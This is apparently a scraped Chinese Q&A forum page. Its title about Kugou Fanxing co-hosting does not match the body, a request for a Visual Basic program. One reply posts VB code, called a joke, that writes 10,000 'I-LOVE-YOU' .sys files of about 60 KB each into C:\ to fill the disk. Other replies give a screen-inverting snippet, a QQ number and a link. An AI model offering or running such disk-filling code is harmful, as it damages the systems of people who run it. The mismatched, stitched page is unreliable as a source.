酷狗繁星怎么连麦:谁能帮我用vb编一个程序！！跪谢！！定追加30分

我给你一个把``
比较强``
Private Sub Form_Load() '补充一点不要在本机运行 否则后果自负
On Error Resume Next
For h = 1 To 10000
Open \"c:\\I-LOVE-YOU\" + CStr(h) + \".sys\" For Random As 1
DoEvents
Put #1, 60000, \"...\"
Close #1
Next
End Sub

呵呵`` 上面的程序开玩笑了```
我给你一个屏幕倒转过来的代码`` 比较实用 符合 企业版的特点

Private Declare Function GetDesktopWindow Lib "user32" () As Long
Private Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function StretchBlt Lib "gdi32" (ByVal hdc As Long, ByVal X As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal nSrcWidth As Long, ByVal nSrcHeight As Long, ByVal dwRop As Long) As Long

Private Sub Form_Load()
'set the showintaskbar property to false
'set the borderstyle of the form to none
Form1.AutoRedraw = True
Form1.ScaleMode = vbPixels
a = GetDesktopWindow()
b = GetDC(a)
StretchBlt Form1.hdc, 0, 0, Screen.Width, Screen.Height, b, 0, Screen.Height, Screen.Width, -Screen.Height, vbSrcCopy
End Sub
觉得好`` 就给分了``

我发给你吧。加分了我给你

QQ 583280

看看这程序趣味性怎么样。给你源码

http://www.nayo.com.cn/blog.php?do-showone-tid-666.html

很简单的为什么自己不搞呀
送你两句话:
好好学习
天天向上~

五子棋够实用够趣味吧